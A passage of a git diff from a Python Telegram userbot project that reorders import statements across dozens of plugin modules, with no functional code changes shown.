a/virtualuserbot/modules/dm.py +++ b/virtualuserbot/modules/dm.py @@ -1,8 +1,7 @@ # By @HeisenbergTheDanger and @xditya -from telethon import * - from fridaybot import CMD_HELP +from telethon import * from ..utils import admin_cmd diff --git a/virtualuserbot/modules/dns.py b/virtualuserbot/modules/dns.py index e6987cae..94335523 100644 --- a/virtualuserbot/modules/dns.py +++ b/virtualuserbot/modules/dns.py @@ -5,7 +5,6 @@ .url .unshort """ import requests - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/duckduckgo.py b/virtualuserbot/modules/duckduckgo.py index 475c7b18..e86fe89b 100644 --- a/virtualuserbot/modules/duckduckgo.py +++ b/virtualuserbot/modules/duckduckgo.py @@ -1,8 +1,7 @@ """use command .ducduckgo""" -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd("ducduckgo (.*)")) diff --git a/virtualuserbot/modules/dumpster.py b/virtualuserbot/modules/dumpster.py index 861e4cd1..d98186a2 100644 --- a/virtualuserbot/modules/dumpster.py +++ b/virtualuserbot/modules/dumpster.py @@ -1,9 +1,8 @@ import asyncio -from telethon.errors.rpcerrorlist import MessageIdInvalidError - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.errors.rpcerrorlist import MessageIdInvalidError @friday.on(friday_on_cmd(pattern="dump ?(.*)")) diff --git a/virtualuserbot/modules/ekart.py b/virtualuserbot/modules/ekart.py index 6660d9f4..194a4d5c 100644 --- a/virtualuserbot/modules/ekart.py +++ b/virtualuserbot/modules/ekart.py @@ -1,5 +1,4 @@ import requests - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/emojify.py b/virtualuserbot/modules/emojify.py index 0010be94..dad34f13 100644 --- a/virtualuserbot/modules/emojify.py +++ b/virtualuserbot/modules/emojify.py @@ -4,7 +4,6 @@ Userbot plugin for CatUserbot """ import emoji - from fridaybot import CMD_HELP from fridaybot.modules import fonts as emojify diff --git a/virtualuserbot/modules/emojis.py b/virtualuserbot/modules/emojis.py index 2cdd2ea8..ff2d0782 100644 --- a/virtualuserbot/modules/emojis.py +++ b/virtualuserbot/modules/emojis.py @@ -6,9 +6,8 @@ .emoji -_-""" import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="emoji (.*)")) diff --git a/virtualuserbot/modules/eval.py b/virtualuserbot/modules/eval.py index 8f2b8c0d..6bf2f894 100644 --- a/virtualuserbot/modules/eval.py +++ b/virtualuserbot/modules/eval.py @@ -8,9 +8,8 @@ import sys import traceback -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("eval")) diff --git a/virtualuserbot/modules/exclusive.py b/virtualuserbot/modules/exclusive.py index 1e554b55..10eaccb6 100644 --- a/virtualuserbot/modules/exclusive.py +++ b/virtualuserbot/modules/exclusive.py @@ -4,11 +4,10 @@ import asyncio -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError @friday.on(admin_cmd(pattern=r"purl ?(.*)")) diff --git a/virtualuserbot/modules/extra.py b/virtualuserbot/modules/extra.py index b1b33d5e..1839ce7f 100644 --- a/virtualuserbot/modules/extra.py +++ b/virtualuserbot/modules/extra.py @@ -2,10 +2,9 @@ import time from collections import deque -from telethon.tl.functions.channels import LeaveChannelRequest - from fridaybot import CMD_HELP, bot from fridaybot.utils import friday_on_cmd +from telethon.tl.functions.channels import LeaveChannelRequest @friday.on(friday_on_cmd("leave$")) diff --git a/virtualuserbot/modules/extranotes.py b/virtualuserbot/modules/extranotes.py index e97635c9..edf97f8a 100644 --- a/virtualuserbot/modules/extranotes.py +++ b/virtualuserbot/modules/extranotes.py @@ -1,6 +1,5 @@ -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"gaali")) diff --git a/virtualuserbot/modules/fakegen.py b/virtualuserbot/modules/fakegen.py index 5f569314..4a761cc7 100644 --- a/virtualuserbot/modules/fakegen.py +++ b/virtualuserbot/modules/fakegen.py @@ -14,9 +14,8 @@ from faker import Faker from faker.providers import internet -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"fakegen")) diff --git a/virtualuserbot/modules/fakeimagegen.py b/virtualuserbot/modules/fakeimagegen.py index 89a09f11..afb8ccaa 100644 --- a/virtualuserbot/modules/fakeimagegen.py +++ b/virtualuserbot/modules/fakeimagegen.py @@ -15,7 +15,6 @@ import os import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/figlet.py b/virtualuserbot/modules/figlet.py index 30e6513f..c6bac4a8 100644 --- a/virtualuserbot/modules/figlet.py +++ b/virtualuserbot/modules/figlet.py @@ -1,5 +1,4 @@ import pyfiglet - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/fileext.py b/virtualuserbot/modules/fileext.py index 6ee62f76..b5bdefdf 100644 --- a/virtualuserbot/modules/fileext.py +++ b/virtualuserbot/modules/fileext.py @@ -2,9 +2,8 @@ Syntax: .filext EXTENSION""" import requests from bs4 import BeautifulSoup -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="filext (.*)")) diff --git a/virtualuserbot/modules/filters.py b/virtualuserbot/modules/filters.py index 66a0e5f1..6de0a729 100644 --- a/virtualuserbot/modules/filters.py +++ b/virtualuserbot/modules/filters.py @@ -9,9 +9,6 @@ import asyncio import re -from telethon import utils -from telethon.tl import types - from fridaybot import CMD_HELP from fridaybot.modules.sql_helper.filter_sql import ( add_filter, @@ -20,6 +17,8 @@ remove_filter, ) from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon import utils +from telethon.tl import types DELETE_TIMEOUT = 0 TYPE_TEXT = 0 diff --git a/virtualuserbot/modules/fleaveme.py b/virtualuserbot/modules/fleaveme.py index 02e39065..e6ef610c 100644 --- a/virtualuserbot/modules/fleaveme.py +++ b/virtualuserbot/modules/fleaveme.py @@ -7,9 +7,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.fleave", outgoing=True)) diff --git a/virtualuserbot/modules/football.py b/virtualuserbot/modules/football.py index 2172ba9c..b98cc6c7 100644 --- a/virtualuserbot/modules/football.py +++ b/virtualuserbot/modules/football.py @@ -13,7 +13,6 @@ import requests - from fridaybot import CMD_HELP from fridaybot.Configs import Config from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/funarts.py b/virtualuserbot/modules/funarts.py index 655bbae9..0afe32e1 100644 --- a/virtualuserbot/modules/funarts.py +++ b/virtualuserbot/modules/funarts.py @@ -1,6 +1,5 @@ -from telethon.tl.types import ChannelParticipantsAdmins - from fridaybot import CMD_HELP +from telethon.tl.types import ChannelParticipantsAdmins from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/funtxt2.py b/virtualuserbot/modules/funtxt2.py index 5ba0d0e3..98ba4df2 100644 --- a/virtualuserbot/modules/funtxt2.py +++ b/virtualuserbot/modules/funtxt2.py @@ -1,5 +1,4 @@ import nekos - from fridaybot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/gamersdp.py b/virtualuserbot/modules/gamersdp.py index 9f7ec849..ca2c062d 100644 --- a/virtualuserbot/modules/gamersdp.py +++ b/virtualuserbot/modules/gamersdp.py @@ -5,10 +5,9 @@ import urllib import requests -from telethon.tl import functions - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl import functions COLLECTION_STRINGZ = [ "star-wars-wallpaper-1080p", diff --git a/virtualuserbot/modules/gdbye.py b/virtualuserbot/modules/gdbye.py index 51a748ec..e541ebd4 100644 --- a/virtualuserbot/modules/gdbye.py +++ b/virtualuserbot/modules/gdbye.py @@ -5,9 +5,8 @@ import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"gdbye")) diff --git a/virtualuserbot/modules/get_admin.py b/virtualuserbot/modules/get_admin.py index 17ab9d7f..8757b010 100644 --- a/virtualuserbot/modules/get_admin.py +++ b/virtualuserbot/modules/get_admin.py @@ -1,14 +1,13 @@ """Get Administrators of any Chat* Syntax: .get_admin""" +from fridaybot import CMD_HELP +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.types import ( ChannelParticipantAdmin, ChannelParticipantCreator, ChannelParticipantsAdmins, ) -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - @friday.on(friday_on_cmd("get_ad?(m)in ?(.*)")) @friday.on(sudo_cmd("get_ad?(m)in ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/get_bot.py b/virtualuserbot/modules/get_bot.py index 7c2f95df..b4358d29 100644 --- a/virtualuserbot/modules/get_bot.py +++ b/virtualuserbot/modules/get_bot.py @@ -1,9 +1,8 @@ """ Get the Bots in any chat* Syntax: .get_bot""" -from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots @friday.on(friday_on_cmd("get_bot ?(.*)")) diff --git a/virtualuserbot/modules/get_id.py b/virtualuserbot/modules/get_id.py index 1c8670bf..65108f07 100644 --- a/virtualuserbot/modules/get_id.py +++ b/virtualuserbot/modules/get_id.py @@ -1,9 +1,8 @@ """Get ID of any Telegram media, or any user Syntax: .get_id""" -from telethon.utils import pack_bot_file_id - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon.utils import pack_bot_file_id @friday.on(friday_on_cmd("get_id")) diff --git a/virtualuserbot/modules/git.py b/virtualuserbot/modules/git.py index af95491c..1ca2c0b1 100644 --- a/virtualuserbot/modules/git.py +++ b/virtualuserbot/modules/git.py @@ -1,8 +1,7 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/github.py b/virtualuserbot/modules/github.py index 2ffc05fc..c64ff0c6 100644 --- a/virtualuserbot/modules/github.py +++ b/virtualuserbot/modules/github.py @@ -1,7 +1,6 @@ """Get information about an user on GitHub Syntax: .github USERNAME""" import requests - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/gizoogle.py b/virtualuserbot/modules/gizoogle.py index 546e47cf..cb0502e4 100644 --- a/virtualuserbot/modules/gizoogle.py +++ b/virtualuserbot/modules/gizoogle.py @@ -2,9 +2,8 @@ import bs4 import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="giz ?(.*)")) diff --git a/virtualuserbot/modules/glitch.py b/virtualuserbot/modules/glitch.py index eeebd14e..60828e50 100644 --- a/virtualuserbot/modules/glitch.py +++ b/virtualuserbot/modules/glitch.py @@ -13,11 +13,10 @@ import os -from glitch_this import ImageGlitcher -from telethon.tl.types import MessageMediaPhoto - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd +from glitch_this import ImageGlitcher +from telethon.tl.types import MessageMediaPhoto glitcher = ImageGlitcher() DURATION = 200 # Set this to however many centiseconds each frame should be visible for diff --git a/virtualuserbot/modules/google.py b/virtualuserbot/modules/google.py index dfc211af..52e49ddf 100644 --- a/virtualuserbot/modules/google.py +++ b/virtualuserbot/modules/google.py @@ -1,9 +1,8 @@ from re import findall -from search_engine_parser import GoogleSearch - from fridaybot import CMD_HELP from fridaybot.utils import register +from search_engine_parser import GoogleSearch @register(outgoing=True, pattern=r"^\.gs (.*)") diff --git a/virtualuserbot/modules/got_memes.py b/virtualuserbot/modules/got_memes.py index 6cc3aeac..c47ba987 100644 --- a/virtualuserbot/modules/got_memes.py +++ b/virtualuserbot/modules/got_memes.py @@ -7,9 +7,8 @@ import asyncio import random -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.gotm", outgoing=True)) diff --git a/virtualuserbot/modules/got_thoughts.py b/virtualuserbot/modules/got_thoughts.py index 4d0bb28e..349cec4a 100644 --- a/virtualuserbot/modules/got_thoughts.py +++ b/virtualuserbot/modules/got_thoughts.py @@ -9,9 +9,8 @@ import asyncio import random -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.gott", outgoing=True)) diff --git a/virtualuserbot/modules/gprod.py b/virtualuserbot/modules/gprod.py index 46564afd..3cf54201 100644 --- a/virtualuserbot/modules/gprod.py +++ b/virtualuserbot/modules/gprod.py @@ -1,11 +1,10 @@ # made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT # made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam marculs = 9 +from fridaybot import bot as borg from telethon.tl.functions.channels import EditAdminRequest from telethon.tl.types import ChatAdminRights, MessageEntityMentionName -from fridaybot import bot as borg - # made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam from ..utils import admin_cmd diff --git a/virtualuserbot/modules/gps2.py b/virtualuserbot/modules/gps2.py index a89e60e7..ca2b4d7d 100644 --- a/virtualuserbot/modules/gps2.py +++ b/virtualuserbot/modules/gps2.py @@ -1,10 +1,9 @@ import re +from fridaybot import CMD_HELP, bot from geopy.geocoders import Nominatim from telethon.tl import types -from fridaybot import CMD_HELP, bot - from ..utils import admin_cmd diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index 3ef0699b..1a5b2c9a 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -1,12 +1,11 @@ import asyncio -from telethon.events import ChatAction -from telethon.tl.functions.contacts import BlockRequest, UnblockRequest -from telethon.tl.types import MessageEntityMentionName - from fridaybot import CMD_HELP from fridaybot.modules.sql_helper.mute_sql import is_muted, mute, unmute from fridaybot.utils import friday_on_cmd +from telethon.events import ChatAction +from telethon.tl.functions.contacts import BlockRequest, UnblockRequest +from telethon.tl.types import MessageEntityMentionName async def get_full_user(event): diff --git a/virtualuserbot/modules/hack.py b/virtualuserbot/modules/hack.py index 6dbdb621..334caf0f 100644 --- a/virtualuserbot/modules/hack.py +++ b/virtualuserbot/modules/hack.py @@ -5,11 +5,10 @@ import asyncio +from fridaybot import CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern=r"hack")) async def _(event): diff --git a/virtualuserbot/modules/hash.py b/virtualuserbot/modules/hash.py index 152780bf..058e0eca 100644 --- a/virtualuserbot/modules/hash.py +++ b/virtualuserbot/modules/hash.py @@ -9,7 +9,6 @@ from subprocess import run as runapp import pybase64 - from fridaybot import CMD_HELP from fridaybot.events import errors_handler, register diff --git a/virtualuserbot/modules/heroku.py b/virtualuserbot/modules/heroku.py index 86ca642c..39b8d5d4 100644 --- a/virtualuserbot/modules/heroku.py +++ b/virtualuserbot/modules/heroku.py @@ -10,10 +10,9 @@ import heroku3 import requests -from telegraph import Telegraph - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telegraph import Telegraph telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") diff --git a/virtualuserbot/modules/heroku_help.py b/virtualuserbot/modules/heroku_help.py index 71fb3584..2ff2fc13 100644 --- a/virtualuserbot/modules/heroku_help.py +++ b/virtualuserbot/modules/heroku_help.py @@ -4,7 +4,6 @@ import heroku3 import requests - from fridaybot.function.heroku_helper import HerokuHelper from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/hotstar.py b/virtualuserbot/modules/hotstar.py index 4367b509..ec1baedc 100644 --- a/virtualuserbot/modules/hotstar.py +++ b/virtualuserbot/modules/hotstar.py @@ -1,7 +1,6 @@ import json import requests - from fridaybot.utils import friday_on_cmd url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" diff --git a/virtualuserbot/modules/howtogoogle.py b/virtualuserbot/modules/howtogoogle.py index 036b6200..27002f09 100644 --- a/virtualuserbot/modules/howtogoogle.py +++ b/virtualuserbot/modules/howtogoogle.py @@ -6,7 +6,6 @@ """ import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/iffuci.py b/virtualuserbot/modules/iffuci.py index a89b2e65..dccb990b 100644 --- a/virtualuserbot/modules/iffuci.py +++ b/virtualuserbot/modules/iffuci.py @@ -5,7 +5,6 @@ from datetime import datetime import requests - from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/ifsc.py b/virtualuserbot/modules/ifsc.py index 62f2621a..49f1d23d 100644 --- a/virtualuserbot/modules/ifsc.py +++ b/virtualuserbot/modules/ifsc.py @@ -12,9 +12,8 @@ # along with this program. If not, see . import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="ifsc (.*)")) diff --git a/virtualuserbot/modules/imageenc.py b/virtualuserbot/modules/imageenc.py index dacb81ec..7fc1fa15 100644 --- a/virtualuserbot/modules/imageenc.py +++ b/virtualuserbot/modules/imageenc.py @@ -6,7 +6,6 @@ import os import requests - from fridaybot import ALIVE_NAME, CMD_HELP from fridaybot import bot from fridaybot import bot as borg diff --git a/virtualuserbot/modules/imagefun.py b/virtualuserbot/modules/imagefun.py index 67cb1fab..fae3cb4d 100644 --- a/virtualuserbot/modules/imagefun.py +++ b/virtualuserbot/modules/imagefun.py @@ -12,11 +12,10 @@ import cv2 import numpy as np import requests -from PIL import Image, ImageDraw -from telegraph import upload_file - from fridaybot import CMD_HELP, bot from fridaybot.utils import admin_cmd +from PIL import Image, ImageDraw +from telegraph import upload_file path = "./dcobra/" if not os.path.isdir(path): diff --git a/virtualuserbot/modules/imagefun2.py b/virtualuserbot/modules/imagefun2.py index 83dde804..1fb9410d 100644 --- a/virtualuserbot/modules/imagefun2.py +++ b/virtualuserbot/modules/imagefun2.py @@ -8,9 +8,8 @@ import cv2 import requests -from telegraph import upload_file - from fridaybot import bot +from telegraph import upload_file from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagefun3.py b/virtualuserbot/modules/imagefun3.py index 6968fe1b..06ea3c87 100644 --- a/virtualuserbot/modules/imagefun3.py +++ b/virtualuserbot/modules/imagefun3.py @@ -11,9 +11,8 @@ import cv2 import numpy as np -from PIL import Image - from fridaybot import CMD_HELP, bot +from PIL import Image from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagefun4.py b/virtualuserbot/modules/imagefun4.py index 1997f073..0d59315d 100644 --- a/virtualuserbot/modules/imagefun4.py +++ b/virtualuserbot/modules/imagefun4.py @@ -8,9 +8,8 @@ import os import cv2 -from PIL import Image - from fridaybot import bot +from PIL import Image from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagetools.py b/virtualuserbot/modules/imagetools.py index 8cfeef54..338d65ef 100644 --- a/virtualuserbot/modules/imagetools.py +++ b/virtualuserbot/modules/imagetools.py @@ -19,13 +19,12 @@ import cv2 import numpy as np import requests -from PIL import Image, ImageDraw, ImageFont -from telegraph import upload_file -from telethon.tl.functions.users import GetFullUserRequest - from fridaybot import CMD_HELP from fridaybot.function import convert_to_image, crop_vid, runcmd from fridaybot.utils import friday_on_cmd, sudo_cmd +from PIL import Image, ImageDraw, ImageFont +from telegraph import upload_file +from telethon.tl.functions.users import GetFullUserRequest sedpath = "./starkgangz/" if not os.path.isdir(sedpath): diff --git a/virtualuserbot/modules/imdb.py b/virtualuserbot/modules/imdb.py index d1eb697c..2a05574a 100644 --- a/virtualuserbot/modules/imdb.py +++ b/virtualuserbot/modules/imdb.py @@ -10,9 +10,8 @@ import bs4 import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd langi = "en" diff --git a/virtualuserbot/modules/information.py b/virtualuserbot/modules/information.py index f8fcfd66..b1344e0e 100644 --- a/virtualuserbot/modules/information.py +++ b/virtualuserbot/modules/information.py @@ -1,13 +1,12 @@ import html +from fridaybot import CMD_HELP, sclient +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.functions.photos import GetUserPhotosRequest from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from telethon.utils import get_input_location -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - @friday.on(friday_on_cmd("info ?(.*)")) @friday.on(sudo_cmd("info ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/inline_fun.py b/virtualuserbot/modules/inline_fun.py index d97851a6..dea5f351 100644 --- a/virtualuserbot/modules/inline_fun.py +++ b/virtualuserbot/modules/inline_fun.py @@ -1,5 +1,6 @@ from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd + from var import Var diff --git a/virtualuserbot/modules/instant_install_ext_module.py b/virtualuserbot/modules/instant_install_ext_module.py index e1331e9d..9a5d008a 100644 --- a/virtualuserbot/modules/instant_install_ext_module.py +++ b/virtualuserbot/modules/instant_install_ext_module.py @@ -15,9 +15,9 @@ import os from pathlib import Path +from fridaybot.utils import command, load_module from telethon.tl.types import InputMessagesFilterDocument -from fridaybot.utils import command, load_module from var import Var diff --git a/virtualuserbot/modules/iplookup.py b/virtualuserbot/modules/iplookup.py index 406d4dd8..197034dc 100644 --- a/virtualuserbot/modules/iplookup.py +++ b/virtualuserbot/modules/iplookup.py @@ -15,9 +15,8 @@ import json import urllib.request -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="iplookup (.*)")) diff --git a/virtualuserbot/modules/jainder.py b/virtualuserbot/modules/jainder.py index 5eeaaf1d..d8a713d2 100644 --- a/virtualuserbot/modules/jainder.py +++ b/virtualuserbot/modules/jainder.py @@ -3,9 +3,8 @@ import random -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.jainder(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/jio.py b/virtualuserbot/modules/jio.py index 1580629d..63e2d964 100644 --- a/virtualuserbot/modules/jio.py +++ b/virtualuserbot/modules/jio.py @@ -8,9 +8,8 @@ import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"jio")) diff --git a/virtualuserbot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py index 9196a398..49d7194b 100644 --- a/virtualuserbot/modules/lastfm.py +++ b/virtualuserbot/modules/lastfm.py @@ -4,12 +4,6 @@ from sys import setrecursionlimit from urllib import parse -from pylast import User, WSError -from telethon.errors import AboutTooLongError -from telethon.errors.rpcerrorlist import FloodWaitError -from telethon.tl.functions.account import UpdateProfileRequest -from telethon.tl.functions.users import GetFullUserRequest - from fridaybot import ( BIO_PREFIX, BOTLOG, @@ -21,6 +15,11 @@ lastfm, ) from fridaybot.events import register +from pylast import User, WSError +from telethon.errors import AboutTooLongError +from telethon.errors.rpcerrorlist import FloodWaitError +from telethon.tl.functions.account import UpdateProfileRequest +from telethon.tl.functions.users import GetFullUserRequest # =================== CONSTANT =================== LFM_BIO_ENABLED = "```last.fm current music to bio is now enabled.```" diff --git a/virtualuserbot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py index b74e49ae..277fb8fc 100644 --- a/virtualuserbot/modules/listmyusernames.py +++ b/virtualuserbot/modules/listmyusernames.py @@ -1,11 +1,10 @@ # For @UniBorg # (c) Shrimadhav U K +from fridaybot import CMD_HELP from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd("listmyusernames")) async def mine(event): diff --git a/virtualuserbot/modules/locks.py b/virtualuserbot/modules/locks.py index fd6e1aca..dd791919 100644 --- a/virtualuserbot/modules/locks.py +++ b/virtualuserbot/modules/locks.py @@ -3,10 +3,9 @@ API Options: msg, media, sticker, gif, gamee, ainline, gpoll, adduser, cpin, changeinfo DB Options: bots, commands, email, forward, url""" -from telethon import events, functions, types - from fridaybot.modules.sql_helper.locks_sql import get_locks, is_locked, update_lock from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon import events, functions, types @friday.on(friday_on_cmd("lock( (?P\S+)|$)")) diff --git a/virtualuserbot/modules/lol.py b/virtualuserbot/modules/lol.py index 44ed2d91..98122940 100644 --- a/virtualuserbot/modules/lol.py +++ b/virtualuserbot/modules/lol.py @@ -7,9 +7,8 @@ import asyncio import random -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"lol")) diff --git a/virtualuserbot/modules/lucky.py b/virtualuserbot/modules/lucky.py index 9bd63e77..55c8558a 100644 --- a/virtualuserbot/modules/lucky.py +++ b/virtualuserbot/modules/lucky.py @@ -8,9 +8,8 @@ import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="lucky")) diff --git a/virtualuserbot/modules/lydiaai2.py b/virtualuserbot/modules/lydiaai2.py index 14a9f87c..55e2c494 100644 --- a/virtualuserbot/modules/lydiaai2.py +++ b/virtualuserbot/modules/lydiaai2.py @@ -5,7 +5,6 @@ from coffeehouse.api import API from coffeehouse.lydia import LydiaAI - from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP from fridaybot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s diff --git a/virtualuserbot/modules/lyric.py b/virtualuserbot/modules/lyric.py index aadb23ec..6b6cece2 100644 --- a/virtualuserbot/modules/lyric.py +++ b/virtualuserbot/modules/lyric.py @@ -3,10 +3,9 @@ import os import lyricsgenius -from tswift import Song - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from tswift import Song GENIUS = os.environ.get("GENIUS_API_TOKEN", None) diff --git a/virtualuserbot/modules/mashup.py b/virtualuserbot/modules/mashup.py index 5fb83512..9afe9bea 100644 --- a/virtualuserbot/modules/mashup.py +++ b/virtualuserbot/modules/mashup.py @@ -3,12 +3,11 @@ video meme mashup: Syntax: .mashup """ +from fridaybot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from 